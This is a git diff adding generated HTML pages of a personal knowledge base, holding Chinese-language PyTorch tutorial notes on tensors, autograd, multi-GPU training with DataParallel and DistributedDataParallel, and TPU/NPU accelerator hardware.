tensor([[ 1.3019,  0.3762,  1.2397,  1.3998],
[ 0.6891, 1.3651, 1.1891, -0.6744],
[ 0.3490, 1.8377, 1.6456, 0.8403],
[-0.8259, 2.5454, 1.2474, 0.7884]])
tensor([ 1.3019, 0.3762, 1.2397, 1.3998, 0.6891, 1.3651, 1.1891, -0.6744,
0.3490, 1.8377, 1.6456, 0.8403, -0.8259, 2.5454, 1.2474, 0.7884])
+

上面我们说过torch.view()会改变原始张量,但是很多情况下,我们希望原始张量和变换后的张量互相不影响。为为了使创建的张量和原始张量不共享内存,我们需要使用第二种方法torch.reshape(), 同样可以改变张量的形状,但是此函数并不能保证返回的是其拷贝值,所以官方不推荐使用。推荐的方法是我们先用 clone() 创造一个张量副本然后再使用 torch.view()进行函数维度变换 。

+

注:使用 clone() 还有一个好处是会被记录在计算图中,即梯度回传到副本时也会传到源 Tensor 。 +3. 取值操作 +如果我们有一个元素 tensor ,我们可以使用 .item() 来获得这个 value,而不获得其他性质:

+
import torch
x = torch.randn(1)
print(type(x))
print(type(x.item()))
+
<class 'torch.Tensor'>
<class 'float'>
+

PyTorch中的 Tensor 支持超过一百种操作,包括转置、索引、切片、数学运算、线性代数、随机数等等,具体使用方法可参考官方文档。

+

2.1.4 广播机制​

+

当对两个形状不同的 Tensor 按元素运算时,可能会触发广播(broadcasting)机制:先适当复制元素使这两个 Tensor 形状相同后再按元素运算。

+
x = torch.arange(1, 3).view(1, 2)
print(x)
y = torch.arange(1, 4).view(3, 1)
print(y)
print(x + y)
+
tensor([[1, 2]])
tensor([[1],
[2],
[3]])
tensor([[2, 3],
[3, 4],
[4, 5]])
+

由于x和y分别是1行2列和3行1列的矩阵,如果要计算x+y,那么x中第一行的2个元素被广播 (复制)到了第二行和第三行,⽽y中第⼀列的3个元素被广播(复制)到了第二列。如此,就可以对2个3行2列的矩阵按元素相加。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第二章/2.2 自动求导/index.html b/docs/个人知识库/AI/PyTorch/第二章/2.2 自动求导/index.html new file mode 100644 index 0000000..0c0ef81 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第二章/2.2 自动求导/index.html @@ -0,0 +1,107 @@ + + + + + +2.2 自动求导.md | wjlin0 + + + + + + + +

2.2 自动求导.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:13
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

2.2 自动求导

+

PyTorch 中,所有神经网络的核心是 autograd 包。autograd包为张量上的所有操作提供了自动求导机制。它是一个在运行时定义 ( define-by-run )的框架,这意味着反向传播是根据代码如何运行来决定的,并且每次迭代可以是不同的。

+

经过本节的学习,你将收获:

+
    +
  • autograd的求导机制
  • +
  • 梯度的反向传播
  • +
+

Autograd简介​

+

torch.Tensor 是这个包的核心类。如果设置它的属性 .requires_grad 为 True,那么它将会追踪对于该张量的所有操作。当完成计算后可以通过调用 .backward(),来自动计算所有的梯度。这个张量的所有梯度将会自动累加到.grad属性。

+

注意:在 y.backward() 时,如果 y 是标量,则不需要为 backward() 传入任何参数;否则,需要传入一个与 y 同形的Tensor。

+

要阻止一个张量被跟踪历史,可以调用.detach()方法将其与计算历史分离,并阻止它未来的计算记录被跟踪。为了防止跟踪历史记录(和使用内存),可以将代码块包装在 with torch.no_grad(): 中。在评估模型时特别有用,因为模型可能具有 requires_grad = True 的可训练的参数,但是我们不需要在此过程中对他们进行梯度计算。

+

还有一个类对于autograd的实现非常重要:Function。Tensor 和 Function 互相连接生成了一个无环图 (acyclic graph),它编码了完整的计算历史。每个张量都有一个.grad_fn属性,该属性引用了创建 Tensor 自身的Function(除非这个张量是用户手动创建的,即这个张量的grad_fn是 None )。下面给出的例子中,张量由用户手动创建,因此grad_fn返回结果是None。

+
from __future__ import print_function
import torch
x = torch.randn(3,3,requires_grad=True)
print(x.grad_fn)
+
None
+

如果需要计算导数,可以在 Tensor 上调用 .backward()。如果 Tensor 是一个标量(即它包含一个元素的数据),则不需要为 backward() 指定任何参数,但是如果它有更多的元素,则需要指定一个gradient参数,该参数是形状匹配的张量。

+

创建一个张量并设置requires_grad=True用来追踪其计算历史

+
x = torch.ones(2, 2, requires_grad=True)
print(x)
+
tensor([[1., 1.],
[1., 1.]], requires_grad=True)
+

对这个张量做一次运算:

+
y = x**2
print(y)
+
tensor([[1., 1.],
[1., 1.]], grad_fn=<PowBackward0>)
+

y是计算的结果,所以它有grad_fn属性。

+
print(y.grad_fn)
+
<PowBackward0 object at 0x000001CB45988C70>
+

对 y 进行更多操作

+
z = y * y * 3
out = z.mean()

print(z, out)
+
tensor([[3., 3.],
[3., 3.]], grad_fn=<MulBackward0>) tensor(3., grad_fn=<MeanBackward0>)
+

.requires_grad_(...) 原地改变了现有张量的requires_grad标志。如果没有指定的话,默认输入的这个标志是 False。

+
a = torch.randn(2, 2) # 缺失情况下默认 requires_grad = False
a = ((a * 3) / (a - 1))
print(a.requires_grad)
a.requires_grad_(True)
print(a.requires_grad)
b = (a * a).sum()
print(b.grad_fn)
+
False
True
<SumBackward0 object at 0x000001CB4A19FB50>
+

2.2.1 梯度​

+

现在开始进行反向传播,因为 out 是一个标量,因此out.backward()和 out.backward(torch.tensor(1.)) 等价。

+
out.backward()
+

输出导数 d(out)/dx

+
print(x.grad)
+
tensor([[3., 3.],
[3., 3.]])
+

数学上,若有向量函数$\vec{y}=f(\vec{x})$,那么 $\vec{y}$ 关于 $\vec{x}$ 的梯度就是一个雅可比矩阵: +$ +J=\left(\begin{array}{ccc}\frac{\partial y_{1}}{\partial x_{1}} & \cdots & \frac{\partial y_{1}}{\partial x_{n}} \ \vdots & \ddots & \vdots \ \frac{\partial y_{m}}{\partial x_{1}} & \cdots & \frac{\partial y_{m}}{\partial x_{n}}\end{array}\right) +$ +而 torch.autograd 这个包就是用来计算一些雅可比矩阵的乘积的。例如,如果 $v$ 是一个标量函数 $l = g(\vec{y})$ 的梯度: +$ +v=\left(\begin{array}{lll}\frac{\partial l}{\partial y_{1}} & \cdots & \frac{\partial l}{\partial y_{m}}\end{array}\right) +$ +由链式法则,我们可以得到: +$ +v J=\left(\begin{array}{lll}\frac{\partial l}{\partial y_{1}} & \cdots & \frac{\partial l}{\partial y_{m}}\end{array}\right)\left(\begin{array}{ccc}\frac{\partial y_{1}}{\partial x_{1}} & \cdots & \frac{\partial y_{1}}{\partial x_{n}} \ \vdots & \ddots & \vdots \ \frac{\partial y_{m}}{\partial x_{1}} & \cdots & \frac{\partial y_{m}}{\partial x_{n}}\end{array}\right)=\left(\begin{array}{lll}\frac{\partial l}{\partial x_{1}} & \cdots & \frac{\partial l}{\partial x_{n}}\end{array}\right) +$

+

注意:grad在反向传播过程中是累加的(accumulated),这意味着每一次运行反向传播,梯度都会累加之前的梯度,所以一般在反向传播之前需把梯度清零。

+
# 再来反向传播⼀一次,注意grad是累加的
out2 = x.sum()
out2.backward()
print(x.grad)

out3 = x.sum()
x.grad.data.zero_()
out3.backward()
print(x.grad)
+
tensor([[4., 4.],
[4., 4.]])
tensor([[1., 1.],
[1., 1.]])
+

现在我们来看一个雅可比向量积的例子:

+
x = torch.randn(3, requires_grad=True)
print(x)

y = x * 2
i = 0
while y.data.norm() < 1000:
y = y * 2
i = i + 1
print(y)
print(i)
+
tensor([-0.9332,  1.9616,  0.1739], requires_grad=True)
tensor([-477.7843, 1004.3264, 89.0424], grad_fn=<MulBackward0>)
8
+

在这种情况下,y 不再是标量。torch.autograd 不能直接计算完整的雅可比矩阵,但是如果我们只想要雅可比向量积,只需将这个向量作为参数传给 backward:

+
v = torch.tensor([0.1, 1.0, 0.0001], dtype=torch.float)
y.backward(v)

print(x.grad)
+
tensor([5.1200e+01, 5.1200e+02, 5.1200e-02])
+

也可以通过将代码块包装在 with torch.no_grad(): 中,来阻止 autograd 跟踪设置了.requires_grad=True的张量的历史记录。

+
print(x.requires_grad)
print((x ** 2).requires_grad)

with torch.no_grad():
print((x ** 2).requires_grad)
+
True
True
False
+

如果我们想要修改 tensor 的数值,但是又不希望被 autograd 记录(即不会影响反向传播), 那么我们可以对 tensor.data 进行操作。

+
x = torch.ones(1,requires_grad=True)

print(x.data) # 还是一个tensor
print(x.data.requires_grad) # 但是已经是独立于计算图之外

y = 2 * x
x.data *= 100 # 只改变了值,不会记录在计算图,所以不会影响梯度传播

y.backward()
print(x) # 更改data的值也会影响tensor的值
print(x.grad)
+
tensor([1.])
False
tensor([100.], requires_grad=True)
tensor([2.])
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第二章/2.3 并行计算简介/index.html b/docs/个人知识库/AI/PyTorch/第二章/2.3 并行计算简介/index.html new file mode 100644 index 0000000..4668222 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第二章/2.3 并行计算简介/index.html @@ -0,0 +1,205 @@ + + + + + +2.3 并行计算简介.md | wjlin0 + + + + + + + +

2.3 并行计算简介.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:13
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

2.3 并行计算简介

+

在利用PyTorch做深度学习的过程中,可能会遇到数据量较大无法在单块GPU上完成,或者需要提升计算速度的场景,这时就需要用到并行计算。完成本节内容时,请你确保至少安装了一个NVIDIA GPU并安装了相关的驱动。

+

经过本节的学习,你将收获:

+
    +
  • 并行计算的简介
  • +
  • CUDA简介
  • +
  • 并行计算的三种实现方式
  • +
  • 使用CUDA加速训练
  • +
+

2.3.1 为什么要做并行计算​

+

深度学习的发展离不开算力的发展,GPU的出现让我们的模型可以训练的更快,更好。所以,如何充分利用GPU的性能来提高我们模型学习的效果,这一技能是我们必须要学习的。这一节,我们主要讲的就是PyTorch的并行计算。PyTorch可以在编写完模型之后,让多个GPU来参与训练,减少训练时间。你可以在命令行使用nvidia-smi命令来查看你的GPU信息和使用情况。

+

2.3.2 为什么需要CUDA​

+

CUDA是NVIDIA提供的一种GPU并行计算框架。对于GPU本身的编程,使用的是CUDA语言来实现的。但是,在我们使用PyTorch编写深度学习代码时,使用的CUDA又是另一个意思。在PyTorch使用 CUDA表示要开始要求我们的模型或者数据开始使用GPU了。

+

在编写程序中,当我们使用了 .cuda() 时,其功能是让我们的模型或者数据从CPU迁移到GPU上(默认是0号GPU)当中,通过GPU开始计算。

+

注:

+
    +
  1. 我们使用GPU时使用的是.cuda()而不是使用.gpu()。这是因为当前GPU的编程接口采用CUDA,但是市面上的GPU并不是都支持CUDA,只有部分NVIDIA的GPU才支持,AMD的GPU编程接口采用的是OpenCL,在现阶段PyTorch并不支持。
  2. +
  3. 数据在GPU和CPU之间进行传递时会比较耗时,我们应当尽量避免数据的切换。
  4. +
  5. GPU运算很快,但是在使用简单的操作时,我们应该尽量使用CPU去完成。
  6. +
  7. 当我们的服务器上有多个GPU,我们应该指明我们使用的GPU是哪一块,如果我们不设置的话,tensor.cuda()方法会默认将tensor保存到第一块GPU上,等价于tensor.cuda(0),这将有可能导致爆出out of memory的错误。我们可以通过以下两种方式继续设置。 +
      +
    1. +
       #设置在文件最开始部分
      import os
      os.environ["CUDA_VISIBLE_DEVICE"] = "2" # 设置默认的显卡
      +
    2. +
    3. +
       CUDA_VISBLE_DEVICE=0,1 python train.py # 使用0,1两块GPU
      +
    4. +
    +
  8. +
+

2.3.3 常见的并行的方法:​

+

网络结构分布到不同的设备中(Network partitioning)​

+

在刚开始做模型并行的时候,这个方案使用的比较多。其中主要的思路是,将一个模型的各个部分拆分,然后将不同的部分放入到GPU来做不同任务的计算。其架构如下:

+

模型并行.png

+

这里遇到的问题就是,不同模型组件在不同的GPU上时,GPU之间的传输就很重要,对于GPU之间的通信是一个考验。但是GPU的通信在这种密集任务中很难办到,所以这个方式慢慢淡出了视野。

+

同一层的任务分布到不同数据中(Layer-wise partitioning)​

+

第二种方式就是,同一层的模型做一个拆分,让不同的GPU去训练同一层模型的部分任务。其架构如下:

+

拆分.png

+

这样可以保证在不同组件之间传输的问题,但是在我们需要大量的训练,同步任务加重的情况下,会出现和第一种方式一样的问题。

+

不同的数据分布到不同的设备中,执行相同的任务(Data parallelism)​

+

第三种方式有点不一样,它的逻辑是,我不再拆分模型,我训练的时候模型都是一整个模型。但是我将输入的数据拆分。所谓的拆分数据就是,同一个模型在不同GPU中训练一部分数据,然后再分别计算一部分数据之后,只需要将输出的数据做一个汇总,然后再反传。其架构如下:

+

数据并行.png

+

这种方式可以解决之前模式遇到的通讯问题。现在的主流方式是数据并行的方式(Data parallelism)

+

2.3.4 使用CUDA加速训练​

+

单卡训练​

+

在PyTorch框架下,CUDA的使用变得非常简单,我们只需要显式的将数据和模型通过.cuda()方法转移到GPU上就可加速我们的训练。如下:

+
model = Net()
model.cuda() # 模型显示转移到CUDA上

for image,label in dataloader:
# 图像和标签显示转移到CUDA上
image = image.cuda()
label = label.cuda()
+

多卡训练​

+

PyTorch提供了两种多卡训练的方式,分别为DataParallel和DistributedDataParallel(以下我们分别简称为DP和DDP)。这两种方法中官方更推荐我们使用DDP,因为它的性能更好。但是DDP的使用比较复杂,而DP经需要改变几行代码既可以实现,所以我们这里先介绍DP,再介绍DDP。

+

单机多卡DP​

+

DP.png

+

首先我们来看单机多卡DP,通常使用一种叫做数据并行 (Data parallelism) 的策略,即将计算任务划分成多个子任务并在多个GPU卡上同时执行这些子任务。主要使用到了nn.DataParallel函数,它的使用非常简单,一般我们只需要加几行代码即可实现

+
model = Net()
model.cuda() # 模型显示转移到CUDA上

if torch.cuda.device_count() > 1: # 含有多张GPU的卡
model = nn.DataParallel(model) # 单机多卡DP训练
+

除此之外,我们也可以指定GPU进行并行训练,一般有两种方式

+
    +
  • +

    nn.DataParallel函数传入device_ids参数,可以指定了使用的GPU编号

    +
    model = nn.DataParallel(model, device_ids=[0,1]) # 使用第0和第1张卡进行并行训练
    +
  • +
  • +

    要手动指定对程序可见的GPU设备

    +
    os.environ["CUDA_VISIBLE_DEVICES"] = "1,2"
    +
  • +
+

多机多卡DDP​

+

DP.png

+

不过通过DP进行分布式多卡训练的方式容易造成负载不均衡,有可能第一块GPU显存占用更多,因为输出默认都会被gather到第一块GPU上。为此Pytorch也提供了torch.nn.parallel.DistributedDataParallel(DDP)方法来解决这个问题。

+

针对每个GPU,启动一个进程,然后这些进程在最开始的时候会保持一致(模型的初始化参数也一致,每个进程拥有自己的优化器),同时在更新模型的时候,梯度传播也是完全一致的,这样就可以保证任何一个GPU上面的模型参数就是完全一致的,所以这样就不会出现DataParallel那样显存不均衡的问题。不过相对应的,会比较麻烦,接下来介绍一下多机多卡DDP的使用方法。

+

开始之前需要先熟悉几个概念,这些还是有必要提一下的

+

进程组的相关概念

+
    +
  • GROUP:进程组,默认情况下,只有一个组,一个 job 即为一个组,也即一个 world。(当需要进行更加精细的通信时,可以通过 new_group 接口,使用 world 的子集,创建新组,用于集体通信等。)
  • +
  • WORLD_SIZE:表示全局进程个数。如果是多机多卡就表示机器数量,如果是单机多卡就表示 GPU 数量。
  • +
  • RANK:表示进程序号,用于进程间通讯,表征进程优先级。rank = 0 的主机为 master 节点。 如果是多机多卡就表示对应第几台机器,如果是单机多卡,由于一个进程内就只有一个 GPU,所以 rank 也就表示第几块 GPU。
  • +
  • LOCAL_RANK:表示进程内,GPU 编号,非显式参数,由 torch.distributed.launch 内部指定。例如,多机多卡中 rank = 3,local_rank = 0 表示第 3 个进程内的第 1 块 GPU。
  • +
+

DDP的基本用法 (代码编写流程)

+
    +
  • 在使用 distributed 包的任何其他函数之前,需要使用 init_process_group 初始化进程组,同时初始化 distributed 包。
  • +
  • 使用 torch.nn.parallel.DistributedDataParallel 创建 分布式模型 DDP(model, device_ids=device_ids)
  • +
  • 使用 torch.utils.data.distributed.DistributedSampler 创建 DataLoader
  • +
  • 使用启动工具 torch.distributed.launch 在每个主机上执行一次脚本,开始训练
  • +
+

首先是对代码进行修改,添加参数 --local_rank

+
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--local_rank", type=int) # 这个参数很重要
args = parser.parse_args()
+

这里的local_rank参数,可以理解为torch.distributed.launch在给一个GPU创建进程的时候,给这个进程提供的GPU号,这个是程序自动给的,不需要手动在命令行中指定这个参数。

+
local_rank = int(os.environ["LOCAL_RANK"]) #也可以自动获取
+

然后在所有和GPU相关代码的前面添加如下代码,如果不写这句代码,所有的进程都默认在你使用CUDA_VISIBLE_DEVICES参数设定的0号GPU上面启动

+
torch.cuda.set_device(args.local_rank) # 调整计算的位置
+

接下来我们得初始化backend,也就是俗称的后端,pytorch介绍了以下后端:

+

Backends.png

+

可以看到,提供了gloo,nccl,mpi,那么如何进行选择呢,官网中也给了以下建议

+
    +
  • +

    经验之谈

    +
      +
    • 如果是使用cpu的分布式计算, 建议使用gloo,因为表中可以看到 gloo对cpu的支持是最好的
    • +
    • 如果使用gpu进行分布式计算, 建议使用nccl。
    • +
    +
  • +
  • +

    GPU主机

    +
      +
    • InfiniBand连接,建议使用nccl,因为它是目前唯一支持 InfiniBand 和 GPUDirect 的后端。
    • +
    • Ethernet连接,建议使用nccl,因为它的分布式GPU训练性能目前是最好的,特别是对于多进程单节点或多节点分布式训练。 如果在使用 nccl时遇到任何问题,可以使用gloo 作为后备选项。 (不过注意,对于 GPU,gloo 目前的运行速度比 nccl 慢。)
    • +
    +
  • +
  • +

    CPU主机

    +
      +
    • InfiniBand连接,如果启用了IP over IB,那就使用gloo,否则使用mpi
    • +
    • Ethernet连接,建议使用gloo,除非有不得已的理由使用mpi。
    • +
    +
  • +
+

当后端选择好了之后, 我们需要设置一下网络接口, 因为多个主机之间肯定是使用网络进行交换, 那肯定就涉及到IP之类的, 对于nccl和gloo一般会自己寻找网络接口,不过有时候如果网卡比较多的时候,就需要自己设置,可以利用以下代码

+
import os
# 以下二选一, 第一个是使用gloo后端需要设置的, 第二个是使用nccl需要设置的
os.environ['GLOO_SOCKET_IFNAME'] = 'eth0'
os.environ['NCCL_SOCKET_IFNAME'] = 'eth0'
+
+

可以通过以下操作知道自己的网络接口,输入ifconfig, 然后找到自己IP地址的就是, 一般就是em0, eth0, esp2s0之类的,

+
+

从以上介绍我们可以看出, 当使用GPU的时候, nccl的效率是高于gloo的,我们一般还是会选择nccl后端,设置GPU之间通信使用的后端和端口:

+
# ps 检查nccl是否可用
# torch.distributed.is_nccl_available ()
torch.distributed.init_process_group(backend='nccl') # 选择nccl后端,初始化进程组
+

之后,使用 DistributedSampler 对数据集进行划分。它能帮助我们将每个 batch 划分成几个 partition,在当前进程中只需要获取和 rank 对应的那个 partition 进行训练:

+
# 创建Dataloader
train_sampler = torch.utils.data.distributed.DistributedSampler(train_dataset)
train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=16, sampler=train_sampler)
+

注意: testset不用sampler

+

然后使用torch.nn.parallel.DistributedDataParallel包装模型:

+
# DDP进行训练
model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[args.local_rank])
+

如何启动DDP

+

那么如何启动DDP,这不同于DP的方式,需要使用torch.distributed.launch启动器,对于单机多卡的情况:

+
CUDA_VISIBLE_DEVICES=0,1,2,3 python -m torch.distributed.launch --nproc_per_node=4 main.py
# nproc_per_node: 这个参数是指你使用这台服务器上面的几张显卡
+
+

有时候虽然说,可以简单使用DP,但是DDP的效率是比DP高的,所以很多时候单机多卡的情况,我们还是会去使用DDP

+
+

DP 与 DDP 的优缺点​

+

DP 的优势​

+

nn.DataParallel没有改变模型的输入输出,因此其他部分的代码不需要做任何更改,非常方便,一行代码即可搞定。

+

DP 的缺点​

+

DP进行分布式多卡训练的方式容易造成负载不均衡,第一块GPU显存占用更多,因为输出默认都会被gather到第一块GPU上,也就是后续的loss计算只会在cuda:0上进行,没法并行。

+

除此之外DP只能在单机上使用,且DP是单进程多线程的实现方式,比DDP多进程多线程的方式会效率低一些。

+

DDP的优势​

+

1. 每个进程对应一个独立的训练过程,且只对梯度等少量数据进行信息交换。

+

DDP 在每次迭代中,每个进程具有自己的 optimizer ,并独立完成所有的优化步骤,进程内与一般的训练无异。

+

在各进程梯度计算完成之后,各进程需要将梯度进行汇总平均,然后再由 rank=0 的进程,将其 broadcast 到所有进程。之后,各进程用该梯度来独立的更新参数。而 DP是梯度汇总到主 GPU,反向传播更新参数,再广播参数给其他的 GPU。

+

DDP 中由于各进程中的模型,初始参数一致 (初始时刻进行一次 broadcast),而每次用于更新参数的梯度也一致,因此,各进程的模型参数始终保持一致。

+

而在DP 中,全程维护一个 optimizer,对各 GPU 上梯度进行求和,而在主 GPU 进行参数更新,之后再将模型参数 broadcast 到其他 GPU。

+

相较于**DP,DDP**传输的数据量更少,因此速度更快,效率更高。

+

2. 每个进程包含独立的解释器和 GIL。

+

一般使用的 Python 解释器 CPython:是用 C 语言实现 Pyhon,是目前应用最广泛的解释器。全局锁使 Python 在多线程效能上表现不佳,全局解释器锁(Global Interpreter Lock)是 Python 用于同步线程的工具,使得任何时刻仅有一个线程在执行。

+

由于每个进程拥有独立的解释器和 GIL,消除了来自单个 Python 进程中的多个执行线程,模型副本或 GPU 的额外解释器开销和 GIL-thrashing ,因此可以减少解释器和 GIL 使用冲突。这对于严重依赖 Python runtime 的 models 而言,比如说包含 RNN 层或大量小组件的 models 而言,这尤为重要。

+

DDP 的缺点​

+

暂时来说,DDP是采用多进程多线程的方式,并且训练速度较高,他的缺点主要就是,需要修改比较多的代码,比DP的一行代码较为繁琐许多。

+

参考资料:​

+
    +
  1. Pytorch 并行训练(DP, DDP)的原理和应用
  2. +
  3. Pytorch中单机多卡分布式训练
  4. +
  5. Training Neural Nets on Larger Batches: Practical Tips for 1-GPU, Multi-GPU & Distributed setups
  6. +
  7. DISTRIBUTEDDATAPARALLEL
  8. +
  9. Pytorch 分布式训练(DP/DDP)
  10. +
  11. DISTRIBUTED COMMUNICATION PACKAGE - TORCH.DISTRIBUTED
  12. +
  13. pytorch多gpu并行训练
  14. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第二章/2.4 AI硬件加速设备/index.html b/docs/个人知识库/AI/PyTorch/第二章/2.4 AI硬件加速设备/index.html new file mode 100644 index 0000000..7bc37cd --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第二章/2.4 AI硬件加速设备/index.html @@ -0,0 +1,136 @@ + + + + + +2.4 AI硬件加速设备.md | wjlin0 + + + + + + + +

2.4 AI硬件加速设备.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:13
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

AI硬件加速设备

+

在进行模型部署和训练时,我们有时会受限于CPU和GPU的性能。这时,专用的AI芯片就显得尤为重要。在正式开始本节内容之前,我们先了解一下什么是CPU和GPU。

+

CPU即Central Processing Unit,中文名为中央处理器,是我们电脑中的核心配件。它的功能主要是处理指令、执行操作、控制时间、处理数据。

+

在现代计算机体系结构中,CPU 对计算机的所有硬件资源(如存储器、输入输出单元) 进行控制调配、执行通用运算的核心硬件单元。CPU 是计算机的运算和控制核心。计算机系统中所有软件层的操作,最终都将通过指令集映射为CPU的操作。

+

GPU即Graphics Processing Unit,中文名为图形处理单元。在传统的冯·诺依曼结构中,CPU 每执行一条指令都需要从存储器中读取数据,根据指令对数据进行相应的操作。从这个特点可以看出,CPU 的主要职责并不只是数据运算,还需要执行存储读取、指令分析、分支跳转等命令。深度学习算法通常需要进行海量的数据处理,用 CPU 执行算法时,CPU 将花费大量的时间在数据/指令的读取分析上,而 CPU的频率、内存的带宽等条件又不可能无限制提高,因此限制了处理器的性能。而 GPU 的控制相对简单,大部分的晶体管可以组成各类专用电路、多条流水线,使得 GPU 的计算速度远高于CPU;同时 GPU 拥有了更加强大的浮点运算能力,可以缓解深度学习算法的训练难题,释放人工智能的潜能。

+

需要注意的是,GPU没有独立工作的能力,必须由CPU进行控制调用才能工作,且GPU的功耗一般比较高。因此,随着人工智能的不断发展,高功耗低效率的GPU不再能满足AI训练的要求,为此,一大批功能相对单一,但速度更快的专用集成电路相继问世。接下来我们了解一下什么是专用集成电路:

+

专用集成电路(Application-Specific Integrated Circuit,ASIC)是专用定制芯片,即为实现特定要求而定制的芯片。定制的特性有助于提高 ASIC 的性能功耗比。ASIC的缺点是电路设计需要定制,相对开发周期长,功能难以扩展。但在功耗、可靠性、集成度等方面都有优势,尤其在要求高性能、低功耗的移动应用端体现明显。下文提到的谷歌的TPU,寒武纪的NPU都属于ASIC的范畴。

+

下面让我们进入本节的内容,经过本节的学习,你将收获:

+
    +
  • 什么是TPU
  • +
  • 什么是NPU
  • +
+

2.4.1 TPU​

+

TPU即Tensor Processing Unit,中文名为张量处理器。2006年,谷歌开始计划为神经网络构建一个专用的集成电路(ASIC)。随着计算需求和数据量的不断上涨,这个需求在2013年开始变得尤为紧迫。于是,谷歌在2015年6月的IO开发者大会上推出了为优化自身的TensorFlow框架而设计打造的一款计算神经网络专用芯片。它主要用于进行搜索,图像,语音等模型和技术的处理。

+

截至目前,谷歌已经发行了四代TPU芯片。

+

芯片架构设计​

+

TPU的设计架构如下图

+

+

上图:In-datacenter performance analysis of a tensor processing unit,figure 1

+

由上图可见,整个TPU中最重要的计算单元是右上角黄色的矩阵乘单元“Matrix Multiply Unit”,它包含256x256个MAC部件,每一个能够执行有符号或者无符号的8位乘加操作。它的输入为权重数据队列FIFO和统一缓冲Unified Buffer,即图中指向它的两个蓝色部分。在计算结束后,16位结果被收集并传递到位于矩阵单元下方的4MiB 32位蓝色累加器Accumulators中,之后由黄色的激活单元在累加后执行非线性函数,并最终将数据返回给统一缓冲。

+

Matrix Multiply Unit矩阵处理器作为TPU的核心部分,它可以在单个时钟周期内处理数十万次矩阵(Matrix)运算。MMU有着与传统CPU、GPU截然不同的架构,称为脉动阵列(systolic array)。之所以叫“脉动”,是因为在这种结构中,数据一波一波地流过芯片,与心脏跳动供血的方式类似。而如下图所示,CPU和GPU在每次运算中都需要从多个寄存器(register)中进行存取,而TPU的脉动阵列将多个运算逻辑单元(ALU)串联在一起,复用从一个寄存器中读取的结果。每个ALU单元结构简单,一般只包含乘法器、加法器以及寄存器三部分,适合大量堆砌。

+

+

但是,在极大增加数据复用、降低内存带宽压力的同时,脉动阵列也有两个缺点,即数据重排和规模适配。第一,脉动矩阵主要实现向量/矩阵乘法。以CNN计算为例,CNN数据进入脉动阵列需要调整好形式,并且严格遵循时钟节拍和空间顺序输入。数据重排的额外操作增加了复杂性。第二,在数据流经整个阵列后,才能输出结果。当计算的向量中元素过少,脉动阵列规模过大时,不仅难以将阵列中的每个单元都利用起来,数据的导入和导出延时也随着尺寸扩大而增加,降低了计算效率。因此在确定脉动阵列的规模时,在考虑面积、能耗、峰值计算能力的同时,还要考虑典型应用下的效率。

+

技术特点​

+

AI加速专用​

+

TPU的架构属于Domain-specific Architecture,也就是特定领域架构。它的定位准确,架构简单,单线程控制,定制指令集使得它在深度学习运算方面效率极高,且容易扩展。相比之下,传统诸如CPU、GPU等通用处理器必须考虑灵活性和兼容性,有太重的包袱。但TPU这种特点也决定它只能被限制用于深度学习加速场景。

+

脉动阵列设计​

+

TPU采用了与传统CPU和GPU截然不同的脉动阵列(systolic array)结构来加速AI运算,脉动阵列能够在一个时钟周期内处理数十万次矩阵运算,在每次运算过程中,TPU能够将多个运算逻辑单元(ALU)串联在一起,并复用从一个寄存器中取得的结果。这种设计,不仅能够将数据复用实现最大化,减少芯片在运算过程中的内存访问次数,提高AI计算效率,同时也降低了内存带宽压力,进而降低内存访问的能耗。

+

MMU的脉动阵列包含256 × 256 = 65,536个ALU,也就是说TPU每个周期可以处理65,536次8位整数的乘法和加法。

+

TPU以700兆赫兹的功率运行,也就是说,它每秒可以运行65,536 × 700,000,000 = 46 × 1012次乘法和加法运算,或每秒92万亿(92 × 1012)次矩阵单元中的运算。

+

+

上图:In-datacenter performance analysis of a tensor processing unit,figure 4

+

确定性功能和大规模片上内存​

+

如图是TPU的平面设计简图,黄色为MMU运算单元,蓝色是统一缓存和累加器等数据单元,绿色是I/O,红色是逻辑控制单元。

+

+

上图:In-datacenter performance analysis of a tensor processing unit,figure 2

+

传统GPU由于片上内存较少,因此在运行过程中需要不断地去访问片外动态随机存取存储器(DRAM),从而在一定程度上浪费了不必要的能耗。与CPU和GPU相比,TPU的控制单元更小,更容易设计,面积只占了整个冲模的2%,给片上存储器和运算单元留下了更大的空间。如上图所示的TPU一代架构中,总共设计了占总芯片面积35%的内存,其中包括24MB的局部内存、4MB的累加器内存,以及用于与主控处理器对接的内存。这一比例大大超出了GPU等通用处理器,节约了大量片外数据访存能耗,使得TPU计算的能效比大大提高。从TPU二代开始采用HBM片上高带宽内存,虽然和最新一代GPU片上内存技术相同,但是TPU芯片的面积要远远小于GPU。硅片越小,成本越低,良品率也越高。

+

另外,由于TPU是一个单用途芯片,不需要考虑缓存、分支预测、多道处理等问题。这就意味着TPU的功能是单一且确定的。因此,我们可以使用TPU轻易的预测运行一个神经网络需要多长时间,这样我们就能让芯片以吞吐量接近峰值的状态运行,同时严格控制延迟。

+

2.4.2 NPU​

+

NPU即Neural-network Processing Unit,中文名为神经网络处理器,它采用“数据驱动并行计算”的架构,特别擅长处理视频、图像类的海量多媒体数据。

+

长期以来,应用需求一直牵动着嵌入式技术的发展方向。随着深度学习神经网络的兴起,人工智能、大数据时代的来临,CPU和GPU渐渐难以满足深度学习的需要,面对日渐旺盛的需求和广大的预期市场,设计一款专门用于神经网络深度学习的高效智能处理器显得十分必要,因此NPU应运而生。

+

